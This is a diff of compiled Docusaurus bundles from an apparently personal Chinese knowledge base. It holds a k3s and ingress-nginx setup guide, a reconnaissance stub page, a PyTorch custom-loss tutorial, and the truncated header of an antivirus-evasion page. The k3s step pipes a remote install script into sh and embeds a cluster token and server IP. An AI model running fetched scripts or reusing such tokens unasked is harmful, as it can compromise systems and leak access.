--flannel-external-ip --flannel-iface wg0\n'})}),"\n",(0,l.jsx)(n.h2,{id:"\u90e8\u7f72agent",children:"\u90e8\u7f72agent"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsxs)(n.p,{children:["\u4fee\u6539\u5bf9\u5e94\u7684\u5916\u90e8ip ",(0,l.jsx)(n.code,{children:"$AGENT_IP -> xx.xx.xx.xx"})," ",(0,l.jsx)(n.code,{children:"$AGENT_VIRTUAL_IP"})]}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:'curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | K3S_URL=https://101.43.95.147:6443 INSTALL_K3S_MIRROR=cn K3S_TOKEN=token_1 sh -s - --node-external-ip="$AGENT_IP" --node-ip $AGENT_VIRTUAL_IP --flannel-iface wg0\n'})}),"\n",(0,l.jsx)(n.h2,{id:"\u5b89\u88c5ingres-nginx",children:"\u5b89\u88c5ingres-nginx"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"\u5b89\u88c5\u65b9\u5f0f\u4e0ek8s\u4fdd\u6301\u4e00\u81f4"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx\nhelm repo update\nhelm pull ingress-nginx/ingress-nginx\ntar -zxvf ingress-nginx-4.10.0.tgz && rm ingress-nginx-4.10.0.tgz # \u6ce8\u610f\u60a8\u4e0b\u7684\u7248\u672c\u8fdb\u884c\u89e3\u538b\ncd ingress-nginx\nvim values.yaml\n"})}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"\u4fee\u6539\u56fd\u5185\u955c\u50cf\u5730\u5740"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202403291336380.png-.png",alt:"image-20240315095558135"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202403291336381.png-.png",alt:"image-20240315095625640"})}),"\n",(0,l.jsxs)(n.p,{children:["\u4fee\u6539",(0,l.jsx)(n.code,{children:"hostNetwork"})]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202403291336382.png-.png",alt:"image-20240315095709258"})}),"\n",(0,l.jsxs)(n.p,{children:["\u4fee\u6539",(0,l.jsx)(n.code,{children:"dnsPolicy"})]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202403291336383.png-.png",alt:"image-20240315095733235"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"helm install -n ingress-nginx ingress-nginx/ingress-nginx .\n"})}),"\n",(0,l.jsx)(n.h1,{id:"referer",children:"Referer"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://docs.k3s.io/zh/quick-start",children:"\u5b98\u65b9\u624b\u518c"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsxs)(n.a,{href:"https://mmxblog.com/p-7005/Mmx.html",children:["\u5b89\u88c5",(0,l.jsx)(n.code,{children:"ingress-nginx"})]})}),"\n"]})]})}function a(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(x,{...e})}):x(e)}}}]); \ No newline at end of file diff --git a/assets/js/9007efc1.a18925dd.js b/assets/js/9007efc1.a18925dd.js new file mode 100644 index 0000000..be97993 --- /dev/null +++ b/assets/js/9007efc1.a18925dd.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3262],{28453:(e,t,n)=>{n.d(t,{R:()=>l,x:()=>i});var o=n(96540);const s={},r=o.createContext(s);function l(e){const t=o.useContext(r);return o.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:l(e.components),o.createElement(r.Provider,{value:t},e.children)}},61573:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>i,default:()=>h,frontMatter:()=>l,metadata:()=>o,toc:()=>d});const o=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/google\u67e5\u8be2","title":"google\u67e5\u8be2","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/04.google\u67e5\u8be2.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/google\u67e5\u8be2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/google\u67e5\u8be2","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/04.google\u67e5\u8be2.md","tags":[],"version":"current","sidebarPosition":4,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"WHOIS-IP\u53cd\u67e5\u67e5\u8be2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/WHOIS-IP\u53cd\u67e5\u67e5\u8be2"},"next":{"title":"SQL\u6ce8\u5165","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/"}}');var s=n(74848),r=n(28453);const l={},i="google\u67e5\u8be2",c={},d=[];function a(e){const t={blockquote:"blockquote",h1:"h1",header:"header",img:"img",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"google\u67e5\u8be2",children:"google\u67e5\u8be2"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-11-06 11:10:20"})]})})]}),"\n",(0,s.jsxs)(t.blockquote,{children:["\n",(0,s.jsx)(t.p,{children:"[!TIP]"}),"\n",(0,s.jsx)(t.p,{children:"\u5229\u7528Google\u641c\u7d22\u53ef\u4ee5\u67e5\u8be2\u4e00\u4e9b\u4fe1\u606f"}),"\n"]})]})}function h(e={}){const{wrapper:t}={...(0,r.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/assets/js/900ce860.d4bc75f0.js b/assets/js/900ce860.d4bc75f0.js new file mode 100644 index 0000000..5b5f2d8 --- /dev/null +++ b/assets/js/900ce860.d4bc75f0.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[890],{28453:(s,e,n)=>{n.d(e,{R:()=>o,x:()=>l});var t=n(96540);const i={},r=t.createContext(i);function o(s){const e=t.useContext(r);return t.useMemo(function(){return"function"==typeof s?s(e):{...e,...s}},[e,s])}function l(s){let e;return e=s.disableParentContext?"function"==typeof s.components?s.components(i):s.components||i:o(s.components),t.createElement(r.Provider,{value:e},s.children)}},63281:(s,e,n)=>{n.r(e),n.d(e,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>o,metadata:()=>t,toc:()=>d});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570","title":"6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u516d\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/"},"next":{"title":"6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387"}}');var i=n(74848),r=n(28453);const o={},l="6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md",c={},d=[{value:"6.1.1 \u4ee5\u51fd\u6570\u65b9\u5f0f\u5b9a\u4e49",id:"611-\u4ee5\u51fd\u6570\u65b9\u5f0f\u5b9a\u4e49",level:2},{value:"6.1.2 \u4ee5\u7c7b\u65b9\u5f0f\u5b9a\u4e49",id:"612-\u4ee5\u7c7b\u65b9\u5f0f\u5b9a\u4e49",level:2},{value:"\u672c\u8282\u53c2\u8003",id:"\u672c\u8282\u53c2\u8003",level:2}];function a(s){const e={a:"a",br:"br",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...s.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"61-\u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570md",children:"6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,i.jsx)(e.h1,{id:"61-\u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570",children:"6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570"}),"\n",(0,i.jsx)(e.p,{children:"PyTorch\u5728torch.nn\u6a21\u5757\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u8bb8\u591a\u5e38\u7528\u7684\u635f\u5931\u51fd\u6570\uff0c\u6bd4\u5982\uff1aMSELoss\uff0cL1Loss\uff0cBCELoss...... \u4f46\u662f\u968f\u7740\u6df1\u5ea6\u5b66\u4e60\u7684\u53d1\u5c55\uff0c\u51fa\u73b0\u4e86\u8d8a\u6765\u8d8a\u591a\u7684\u975e\u5b98\u65b9\u63d0\u4f9b\u7684Loss\uff0c\u6bd4\u5982DiceLoss\uff0cHuberLoss\uff0cSobolevLoss...... \u8fd9\u4e9bLoss Function\u4e13\u95e8\u9488\u5bf9\u4e00\u4e9b\u975e\u901a\u7528\u7684\u6a21\u578b\uff0cPyTorch\u4e0d\u80fd\u5c06\u4ed6\u4eec\u5168\u90e8\u6dfb\u52a0\u5230\u5e93\u4e2d\u53bb\uff0c\u56e0\u6b64\u8fd9\u4e9b\u635f\u5931\u51fd\u6570\u7684\u5b9e\u73b0\u5219\u9700\u8981\u6211\u4eec\u901a\u8fc7\u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570\u6765\u5b9e\u73b0\u3002\u53e6\u5916\uff0c\u5728\u4e00\u4e9b\u7b97\u6cd5\u5b9e\u73b0\u4e2d\uff0c\u7814\u7a76\u8005\u5f80\u5f80\u4f1a\u63d0\u51fa\u5168\u65b0\u7684\u635f\u5931\u51fd\u6570\u6765\u63d0\u5347\u6a21\u578b\u7684\u8868\u73b0\uff0c\u8fd9\u65f6\u6211\u4eec\u65e2\u65e0\u6cd5\u4f7f\u7528PyTorch\u81ea\u5e26\u7684\u635f\u5931\u51fd\u6570\uff0c\u4e5f\u6ca1\u6709\u76f8\u5173\u7684\u535a\u5ba2\u4f9b\u53c2\u8003\uff0c\u6b64\u65f6\u81ea\u5df1\u5b9e\u73b0\u635f\u5931\u51fd\u6570\u5c31\u663e\u5f97\u66f4\u4e3a\u91cd\u8981\u4e86\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u638c\u63e1\u5982\u4f55\u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570"}),"\n"]}),"\n",(0,i.jsx)(e.h2,{id:"611-\u4ee5\u51fd\u6570\u65b9\u5f0f\u5b9a\u4e49",children:"6.1.1 \u4ee5\u51fd\u6570\u65b9\u5f0f\u5b9a\u4e49"}),"\n",(0,i.jsx)(e.p,{children:"\u4e8b\u5b9e\u4e0a\uff0c\u635f\u5931\u51fd\u6570\u4ec5\u4ec5\u662f\u4e00\u4e2a\u51fd\u6570\u800c\u5df2\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u76f4\u63a5\u4ee5\u51fd\u6570\u5b9a\u4e49\u7684\u65b9\u5f0f\u5b9a\u4e49\u4e00\u4e2a\u81ea\u5df1\u7684\u51fd\u6570\uff0c\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"def my_loss(output, target):\n loss = torch.mean((output - target)**2)\n return loss\n"})}),"\n",(0,i.jsx)(e.h2,{id:"612-\u4ee5\u7c7b\u65b9\u5f0f\u5b9a\u4e49",children:"6.1.2 \u4ee5\u7c7b\u65b9\u5f0f\u5b9a\u4e49"}),"\n",(0,i.jsxs)(e.p,{children:["\u867d\u7136\u4ee5\u51fd\u6570\u5b9a\u4e49\u7684\u65b9\u5f0f\u5f88\u7b80\u5355\uff0c\u4f46\u662f\u4ee5\u7c7b\u65b9\u5f0f\u5b9a\u4e49\u66f4\u52a0\u5e38\u7528\uff0c\u5728\u4ee5\u7c7b\u65b9\u5f0f\u5b9a\u4e49\u635f\u5931\u51fd\u6570\u65f6\uff0c\u6211\u4eec\u5982\u679c\u770b\u6bcf\u4e00\u4e2a\u635f\u5931\u51fd\u6570\u7684\u7ee7\u627f\u5173\u7cfb\u6211\u4eec\u5c31\u53ef\u4ee5\u53d1\u73b0",(0,i.jsx)(e.code,{children:"Loss"}),"\u51fd\u6570\u90e8\u5206\u7ee7\u627f\u81ea",(0,i.jsx)(e.code,{children:"_loss"}),", \u90e8\u5206\u7ee7\u627f\u81ea",(0,i.jsx)(e.code,{children:"_WeightedLoss"}),", \u800c",(0,i.jsx)(e.code,{children:"_WeightedLoss"}),"\u7ee7\u627f\u81ea",(0,i.jsx)(e.code,{children:"_loss"}),"\uff0c",(0,i.jsx)(e.code,{children:" _loss"}),"\u7ee7\u627f\u81ea ",(0,i.jsx)(e.strong,{children:"nn.Module"}),"\u3002\u6211\u4eec\u53ef\u4ee5\u5c06\u5176\u5f53\u4f5c\u795e\u7ecf\u7f51\u7edc\u7684\u4e00\u5c42\u6765\u5bf9\u5f85\uff0c\u540c\u6837\u5730\uff0c\u6211\u4eec\u7684\u635f\u5931\u51fd\u6570\u7c7b\u5c31\u9700\u8981\u7ee7\u627f\u81ea",(0,i.jsx)(e.strong,{children:"nn.Module"}),"\u7c7b\uff0c\u5728\u4e0b\u9762\u7684\u4f8b\u5b50\u4e2d\u6211\u4eec\u4ee5DiceLoss\u4e3a\u4f8b\u5411\u5927\u5bb6\u8bb2\u8ff0\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"Dice Loss\u662f\u4e00\u79cd\u5728\u5206\u5272\u9886\u57df\u5e38\u89c1\u7684\u635f\u5931\u51fd\u6570\uff0c\u5b9a\u4e49\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(e.p,{children:"$$\nDSC = \\frac{2|X\u2229Y|}{|X|+|Y|}\n$$\n\u5b9e\u73b0\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"class DiceLoss(nn.Module):\n def __init__(self,weight=None,size_average=True):\n super(DiceLoss,self).__init__()\n \n def forward(self,inputs,targets,smooth=1):\n inputs = F.sigmoid(inputs) \n inputs = inputs.view(-1)\n targets = targets.view(-1)\n intersection = (inputs * targets).sum() \n dice = (2.*intersection + smooth)/(inputs.sum() + targets.sum() + smooth) \n return 1 - dice\n\n# \u4f7f\u7528\u65b9\u6cd5 \ncriterion = DiceLoss()\nloss = criterion(input,targets)\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u9664\u6b64\u4e4b\u5916\uff0c\u5e38\u89c1\u7684\u635f\u5931\u51fd\u6570\u8fd8\u6709BCE-Dice Loss\uff0cJaccard/Intersection over Union (IoU) Loss\uff0cFocal Loss......"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"class DiceBCELoss(nn.Module):\n def __init__(self, weight=None, size_average=True):\n super(DiceBCELoss, self).__init__()\n\n def forward(self, inputs, targets, smooth=1):\n inputs = F.sigmoid(inputs) \n inputs = inputs.view(-1)\n targets = targets.view(-1)\n intersection = (inputs * targets).sum() \n dice_loss = 1 - (2.*intersection + smooth)/(inputs.sum() + targets.sum() + smooth) \n BCE = F.binary_cross_entropy(inputs, targets, reduction='mean')\n Dice_BCE = BCE + dice_loss\n \n return Dice_BCE\n"})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"class IoULoss(nn.Module):\n def __init__(self, weight=None, size_average=True):\n super(IoULoss, self).__init__()\n\n def forward(self, inputs, targets, smooth=1):\n inputs = F.sigmoid(inputs) \n inputs = inputs.view(-1)\n targets = targets.view(-1)\n intersection = (inputs * targets).sum()\n total = (inputs + targets).sum()\n union = total - intersection \n \n IoU = (intersection + smooth)/(union + smooth)\n \n return 1 - IoU\n"})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"ALPHA = 0.8\nGAMMA = 2\n\nclass FocalLoss(nn.Module):\n def __init__(self, weight=None, size_average=True):\n super(FocalLoss, self).__init__()\n\n def forward(self, inputs, targets, alpha=ALPHA, gamma=GAMMA, smooth=1):\n inputs = F.sigmoid(inputs) \n inputs = inputs.view(-1)\n targets = targets.view(-1)\n BCE = F.binary_cross_entropy(inputs, targets, reduction='mean')\n BCE_EXP = torch.exp(-BCE)\n focal_loss = alpha * (1-BCE_EXP)**gamma * BCE\n \n return focal_loss\n# \u66f4\u591a\u7684\u53ef\u4ee5\u53c2\u8003\u94fe\u63a51\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u6ce8\uff1a"})}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570\u65f6\uff0c\u6d89\u53ca\u5230\u6570\u5b66\u8fd0\u7b97\u65f6\uff0c\u6211\u4eec\u6700\u597d\u5168\u7a0b\u4f7f\u7528PyTorch\u63d0\u4f9b\u7684\u5f20\u91cf\u8ba1\u7b97\u63a5\u53e3\uff0c\u8fd9\u6837\u5c31\u4e0d\u9700\u8981\u6211\u4eec\u5b9e\u73b0\u81ea\u52a8\u6c42\u5bfc\u529f\u80fd\u5e76\u4e14\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u8c03\u7528cuda\uff0c\u4f7f\u7528numpy\u6216\u8005scipy\u7684\u6570\u5b66\u8fd0\u7b97\u65f6\uff0c\u64cd\u4f5c\u4f1a\u6709\u4e9b\u9ebb\u70e6\uff0c\u5927\u5bb6\u53ef\u4ee5\u81ea\u5df1\u4e0b\u53bb\u8fdb\u884c\u63a2\u7d22\u3002\u5173\u4e8ePyTorch\u4f7f\u7528Class\u5b9a\u4e49\u635f\u5931\u51fd\u6570\u7684\u539f\u56e0\uff0c\u53ef\u4ee5\u53c2\u8003PyTorch\u7684\u8ba8\u8bba\u533a\uff08\u94fe\u63a56\uff09"}),"\n",(0,i.jsx)(e.h2,{id:"\u672c\u8282\u53c2\u8003",children:"\u672c\u8282\u53c2\u8003"}),"\n",(0,i.jsxs)(e.p,{children:["\u30101\u3011",(0,i.jsx)(e.a,{href:"https://www.kaggle.com/bigironsphere/loss-function-library-keras-pytorch/notebook",children:"https://www.kaggle.com/bigironsphere/loss-function-library-keras-pytorch/notebook"}),(0,i.jsx)(e.br,{}),"\n\u30102\u3011",(0,i.jsx)(e.a,{href:"https://www.zhihu.com/question/66988664/answer/247952270",children:"https://www.zhihu.com/question/66988664/answer/247952270"}),(0,i.jsx)(e.br,{}),"\n\u30103\u3011",(0,i.jsx)(e.a,{href:"https://blog.csdn.net/dss_dssssd/article/details/84103834",children:"https://blog.csdn.net/dss_dssssd/article/details/84103834"}),(0,i.jsx)(e.br,{}),"\n\u30104\u3011",(0,i.jsx)(e.a,{href:"https://zj-image-processing.readthedocs.io/zh_CN/latest/pytorch/%E8%87%AA%E5%AE%9A%E4%B9%89%E6%8D%9F%E5%A4%B1%E5%87%BD%E6%95%B0/",children:"https://zj-image-processing.readthedocs.io/zh_CN/latest/pytorch/%E8%87%AA%E5%AE%9A%E4%B9%89%E6%8D%9F%E5%A4%B1%E5%87%BD%E6%95%B0/"}),(0,i.jsx)(e.br,{}),"\n\u30105\u3011",(0,i.jsx)(e.a,{href:"https://blog.csdn.net/qq_27825451/article/details/95165265",children:"https://blog.csdn.net/qq_27825451/article/details/95165265"}),(0,i.jsx)(e.br,{}),"\n\u30106\u3011",(0,i.jsx)(e.a,{href:"https://discuss.pytorch.org/t/should-i-define-my-custom-loss-function-as-a-class/89468",children:"https://discuss.pytorch.org/t/should-i-define-my-custom-loss-function-as-a-class/89468"})]})]})}function h(s={}){const{wrapper:e}={...(0,r.R)(),...s.components};return e?(0,i.jsx)(e,{...s,children:(0,i.jsx)(a,{...s})}):a(s)}}}]); \ No newline at end of file diff --git a/assets/js/932c3674.5c9f36b4.js b/assets/js/932c3674.5c9f36b4.js new file mode 100644 index 0000000..70f4b92 --- /dev/null +++ b/assets/js/932c3674.5c9f36b4.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8876],{8352:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>i,default:()=>p,frontMatter:()=>o,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/README","title":"\u53bb\u7279\u5f81","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/06.\u514d\u6740/02.\u53bb\u7279\u5f81/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/06.\u514d\u6740/02.\u53bb\u7279\u5f81","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/06.\u514d\u6740/02.\u53bb\u7279\u5f81/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"fscan\u514d\u6740","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/fscan\u514d\u6740/"},"next":{"title":"\u57fa\u7ebf\u68c0\u67e5","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u57fa\u7ebf\u68c0\u67e5/"}}');var r=n(74848),a=n(28453);const o={},i="\u53bb\u7279\u5f81",c={},d=[{value:"\u524d\u8a00",id:"\u524d\u8a00",level:2},{value:"\u8fc7\u7a0b",id:"\u8fc7\u7a0b",level:2}];function l(e){const t={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,a.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u53bb\u7279\u5f81",children:"\u53bb\u7279\u5f81"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.